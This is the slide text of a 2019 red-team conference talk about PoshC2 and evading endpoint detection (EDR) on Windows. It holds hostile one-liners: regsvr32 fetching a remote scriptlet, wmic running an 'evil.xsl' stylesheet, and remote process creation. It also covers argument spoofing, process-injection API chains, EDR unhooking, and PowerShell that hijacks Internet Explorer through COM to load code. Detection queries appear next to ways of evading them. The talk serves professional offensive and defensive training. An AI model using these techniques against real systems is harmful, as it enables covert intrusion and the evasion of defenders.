powershell-is-dead-epic-learnings-london

PowerShell is DEAD
Epic Learnings
June 2019

Contents
Introductions
+ Whoami / Whoarewe
What is PowerShell
+ Understand what PowerShell is / key components
+ Is it DEAD?
Evolution of PoshC2
+ Release timeline & changes
EDR
+ History & challenges (offensive)
+ Future predictions
June 2019

@benpturner
+ Managing Principal Security Consultant @ Nettitude
+ Lead the Global Red Team Operation @ Nettitude
+ 8 years as a Crest Team Leader (CHECK Team Leader - Infrastructure)
+ 4 years as a Crest Simulated Attack Specialist (CCSAS - STAR/CBEST)
Training / Talks
+ Advanced Threat Actor Simulation - Red Team Training Course (Steelcon 2017/2018)
+ Workshops - Red Teaming with PoshC2 (BSides London/Manchester 2017)
+ Trusted Third Parties are NOT Trust Worthy (GiSEC Dubai 2019) - https://bit.ly/2I9ehIg
+ 21st Century War Stories (Steelcon/BSides 2016) - https://www.youtube.com/watch?v=O8Ul6QSPuo4
+ PowerShell Fu with Metasploit (Steelcon/BSides 2015) - https://www.youtube.com/watch?v=ottfZFRSsj4
Development Projects
+ Lead developer of PoshC2 - Nettitude’s Open Source Command & Control (C2) Framework
+ General day to day PowerShell / C# projects & security research

@b4ggio_su
+ Principal Security Consultant @ Nettitude
+ A Red Team Lead in the Global Red Team Operation @ Nettitude
+ 16 years in IT:
• 4 years as a sysadmin
• 4 years in a defensive role
• 8 years in an offensive role
Training / Talks
+ Advanced Threat Actor Simulation - Red Team Training Course
+ Red Team & Stuff (Bsides Mcr 2018 / OWASP Warwick 2019)

@rbmaslen
+ Principal Security Consultant @ Nettitude
+ Red Teamer/Tools developer
+ 20 years in IT:
• 14 years as a developer (mainly C++, C#, HTML/JS)
• 6 years in an offensive role
+ CCT / CCSAM / OSCP / OSCE
Training / Talks
+ Thick Client Destruction (Steelcon 2017)
+ COM and the PowerThIEf (Steelcon 2018)
Development Projects
+ Contributor to PoshC2 - Nettitude’s Open Source Command & Control (C2) Framework
+ PowerThIEf, SharpSocks, C# portscanner & ArpScan

Team Spicy Weasel
1st Place - 2018
+ labs.nettitude.com/blog/derbycon-2018-ctf-write-up
1st Place - 2017
3rd Place - 2016

What is PowerShell & is it DEAD?
1. The Microsoft binary - ”PowerShell.exe”
2. The DLL behind the binary
”System.Management.Automation.Dll”
3. The folder -
C:WindowsSystem32WindowsPowerShellv1
.0
4. The version? Is PSv2 dead or only versions
after 4 because of Transcript Logging,
ScriptBlock Logging, Module Logging & AMSI
Integration
https://www.youtube.com/watch?v=IYD_aiQtVaE

Is PowerShell
DEAD?
Evolution of PoshC2

Evolution of PoshC2 2016 -> 2019
 2016
 June - v1.0 First Release of PoshC2 (Server/Implant in PowerShell)
 Dec - v2.0 Released - C# GUI, Daisy Chaining & Portability
 2017
 Mar - v2.1 Removed C# GUI
 May - PoshC2 Slack channel announced
 July - PoshC2_Python Release
 Oct – Reflective DLL / Shellcode Released
 Nov - v3.0 Released with SharpSocks
 2018
 Feb - Readthedocs Documentation Released
 July - v4.0 Released with Python Implant
 2019
 Jan - v4.8 Sharp Implant
 Feb - Support for 2003/XP
 June - SharpSocks Integration

Process Listing – Initial Execution

Carbon Black / Tanium / EDR
1. This is probably the best query in carbon black to detect malicious
activity:
“process_name:powershell.exe”
2. Do a search across your estate and see how much this
shows up…….

Carbon Black / Tanium / EDR
1. This is probably the best query in carbon black to detect malicious
activity:
“modload:system.management.automation.dll”
“modload:system.management.automation.ni.dll”
2. Filter out “powershell.exe”, and others……
3. Do a search across your estate and see how much this shows
up…….

Defensive / Legacy Approach
(Reactive)
 Block powershell.exe on all endpoints
 Only allow signed powershell scripts to be executed
 Upgrade “powershell.exe” to v5.0 for greater visibility
 Enable constrained mode to restrict language elements
 Monitor for “System.Management.Automation.Dll” in processes
 Integrate AMSI with AV vendor for early signature detection
 Enable & Monitor ScriptBlock Logging for suspicious cmdlets
 Enable & Monitor Transcript Logging for suspicious signatures
 Enable & Monitor Module Logging for signatured modules
Modern Approach
(Proactive)

“
”
APT33 according
to FireEye

Supposedly Used by APT 33
 Suspected attribution: Iran
 Target sectors: Aerospace, energy
 Overview: APT33 has targeted organizations, spanning
multiple industries, headquartered in the U.S., Saudi
Arabia and South Korea. APT33 has shown particular
interest in organizations in the aviation sector involved in
both military and commercial capacities, as well as
organizations in the energy sector with ties to
petrochemical production
• https://www.fireeye.com/blog/threat-
research/2018/12/overruled-containing-a-potentially-
destructive-adversary.html
• https://www.fireeye.com/blog/threat-
research/2017/09/apt33-insights-into-iranian-cyber-
espionage.html
• https://www.fireeye.com/current-threats/apt-
groups.html#apt33

C# Implant / Reflection
 loadmodule Seatbelt.exe
 run-exe Seatbelt.Program Seatbelt all
 run-exe Seatbelt.Program Seatbelt PowerShellSettings
 run-dll Seatbelt.Program Seatbelt UserChecks

C# Reflection
 foreach (var Ass in AppDomain.CurrentDomain.GetAssemblies())
 run-exe
loadedType.Assembly.EntryPoint.Invoke(null, new object[] {
splitnewargs }).ToString();
 run-dll
loadedType.Assembly.GetType(qualifiedname).InvokeMember(s
Method, BindingFlags.Public | BindingFlags.InvokeMethod |
BindingFlags.Static, null, null, new object[] { splitnewargs
}).ToString();

C# Reflection / OpSec Considerations

Endpoint Detection and Response

Attacker Thoughts
 Avoidance
 Trickery
 Partying with EDR

Avoidance - Carbon Black
Detected – But why:
RTFM!

Avoidance – Tanium Signal Definition
image.path contains ‘system.management.automation’
AND process.path contains NOT ‘mscorsvw.exe’
AND process.path contains NOT ‘monitoringhost.exe’
AND process.path contains NOT ‘powershell.exe’
AND process.path contains NOT ‘powershell_ise.exe’
AND process.path contains NOT ‘sdiagnhost.exe’
AND process.path contains NOT ‘servermanager.exe’
AND process.path contains NOT ‘sqlps.exe’
AND process.path contains NOT ‘wsmprovhost.exe’
AND process.path contains NOT ‘Microsoft Azure AD
SyncBinmiiserver.exe’
(Does require process tracing to be enabled in Tanium - quite
heavy)
Warning - Not doing a hash
checksum on the processes
or their location

Parent PID Spoofing
https://stackoverflow.com/questions/10554913/how-to-call-createprocess-with-
startupinfoex-from-c-sharp-and-re-parent-the-ch

Parent PID Spoofing / Carbon Black

Detecting Parent Spoofing
https://www.countercept.com/blog/detecting-parent-pid-
spoofing/

Process Argument Spoofing
1. Create a process suspended – Fake Arguments
2. Identify the PEB using NTQueryProcessInformation
3. Parse PEB and Commandline structure
4. Overwrite the Commandline arguments using
WriteProcessMemory – Real Arguments
5. Resume the process

Process Argument Spoofing
 https://github.com/FuzzySecurity/Sharp-Suite/tree/master/SwampThing
 https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
 https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/

Process Argument Spoofing – WHY?
Execution
 Powershell One Liner
 regsvr32.exe /s /i:http://URL/file.sct scrobj.dll
 wmic os get /FORMAT:”evil.xsl”
Lateral Movement
 SC COMPUTERNAME stop "SERVICENAME“
 wmic.exe /node:<target> /user:<user>
/password:"<password>" process call create
"%Systemroot%Tempbatchfile.bat“

Partying With EDR
Migration Basics - Win API Calls:
 VirtualAllocEX
 WriteProcessMemory
 CreateRemoteThread
http://deniable.org/misc/inject-all-the-things
However there are many ways to do the same thing, quick
examples:
RtlCreateUserThread SetWindowsHookEx
NtCreateThreadEx QueueUserAPC

“In computer programming, the term hooking covers a range of techniques used to alter or
augment the behaviour of an operating system, of applications, or of other software components
by intercepting function calls or messages or events passed between software components. Code
that handles such intercepted function calls, events or messages is called a hook.” - Wikipedia
What is Hooking?

 Re-Patch Memory to remove JMP to original code
 Update the IAT table to point to the correct function
 Create a stub – to carry out the same system calls
 Free a number of API calls and use FreeLibrary to remove
interfering DLL’s
https://medium.com/@fsx30/bypass-edrs-memory-protection-
introduction-to-hooking-2efb21acffd6
Bringing Back The Good Times

“
”
Becoming
best mates
with COM

COM Intro – just watch this
https://vimeo.com/214856542

 Spoke about this at Steelcon last year, has proved really
handy
 Has been used to get past some EDRs
 Breaks the attribution between process
Migrating with COM into IE

The key to this? Junction folders
 Junction folders, a technique leaked in the Vault 7 dumps
 Forms the basis of Sandbox escapers recent IE 11 sandbox
escape
 After adding some registry keys allows code to be executed
when you navigate to a folder

Loading the DLL in IE – first setup the registry

 If we can get a reference to an IE Windows we can call
 URL needs to be in the format shell:::{<GUID>}
 https://docs.microsoft.com/en-us/previous-
versions/windows/internet-explorer/ie-developer/platform-
apis/aa752094(v%3Dvs.85)
How can we use that

 Great COM class allows you to enumerate all the current open IE &
Explorer windows and automate them
 Guess what you can then get them to navigate to a new location
 https://msdn.microsoft.com/en-
us/library/windows/desktop/bb773974(v=vs.85).aspx
ShellWindows

Loading the DLL in IE, PowerShell
$shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442-
00A0C90A8F39}")
$typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid)
$shwin = [System.Activator]::CreateInstance($typeShwin)
$shWin[0].Navigate2("shell:::{56B6E39E-AB81-4E34-BC8B-99D1D28FB7E4}",
2048)
/*CLSID must be in the format "shell:::{CLSID}"
Second param 2048 is BrowserNavConstants value for navOpenInNewTab
https://msdn.microsoft.com/en-us/library/dd565688(v=vs.85).aspx
Further ideas on what payloads you may be able to use
*/

Can you do this in VBA, yes of course

 Only use Native DLL’s? thankfully not
 Using CCW’s Com Callable Wrappers we can write a .net dll
and configure the registry keys so that when navigated to
we can launch a .net dll. Use this as a COM Hijack if you
want.
 No time to go into CCW in depth but have a read of
https://docs.microsoft.com/en-
us/dotnet/framework/interop/com-callable-wrapper
 .Net is started in IE and loads the dll
 We need a .net assembly with class that implements an
interface and some registry keys
COM Callable Wrapper

COM Callable Wrapper – Class
Interface

Setting up the .net registry keys

Setting up the .net registry keys
 Just make sure that you create or import the keys from a
x64 application or use the explicit 64 bit key from the link
below
 https://docs.microsoft.com/en-
us/windows/desktop/sysinfo/32-bit-and-64-bit-application-
data-in-the-registry

Also guess what the IE shortcut now does?

One last thing – remember this script
00A0C90A8F39}")
$shWin[0].Navigate2("shell:::{56B6E39E-AB81-4E34-BC8B-99D1D28FB7E4}",
2048)
/*CLSID must be in the format "shell:::{CLSID}"
Second param 2048 is BrowserNavConstants value for navOpenInNewTab
https://msdn.microsoft.com/en-us/library/dd565688(v=vs.85).aspx
Further ideas on what payloads you may be able to use
*/

Lets tweak it
00A0C90A8F39}")
$shWin[0].Navigate("c:windowssystem32WindowsPowerShellv1.0powers
hell.exe")

Running it (must have at least 1 explorer window open)

EDR Summary
 EDR is not a silver bullet
 Does give incredible visibility to the Blue Team
 Highly recommended as a complimentary piece to the
defensive strategy but should not be solely relied on
 Does not replace good people with experience
 Constant Cat and Mouse game

Future Predictions
1. Over reliance on EDR, especially on user endpoints and not
server land or non Windows Systems
2. Customers focussing all attention on tertiary endpoints and not on
critical functions or sensitive customer data
3. Move to Zerotrust networks and MFA everywhere
4. Machine Learning – Investment into Process & Procedures
5. C2 frameworks moving to C++ base code – Could see MSF be
revived for red teaming
6. All standard AV/EDR vendors adopting in memory scanning / AMSI
7. Windows 7 is EOL January 2020 – not a prediction but a reality
8. Windows 10 removal of .NET v2 – not a prediction but a reality
9. People going back to single executables running either C++ or C#
code to evade LOLBAS signatures (LOLBAS vs arbitrary exe)

Future Predictions
1. Over reliance on EDR, especially on endpoints and not
server land (or unix really)
2. C2 frameworks moving to C++ base code – Could see MSF
be revived for RT
3. We already have this level of capability and its interesting
what gets detected and what does not
4. All standard AV/EDR vendors adopting in memory scanning
5. Windows 7 is EOL January 2020 – not a prediction but a
massive jump
6. Windows 10 removal of .NET v2
7. People going back to single executables running either c++
or c# code to evade lolbins signatures and

THANK YOU
Ben Turner @benpturner
Doug McLeod @b4ggio_su
Rob Maslen @rbmaslen
https://www.steelcon.info/training/
https://www.slideshare.net/nettitude_labs/powershell-is-dead-epic-learning

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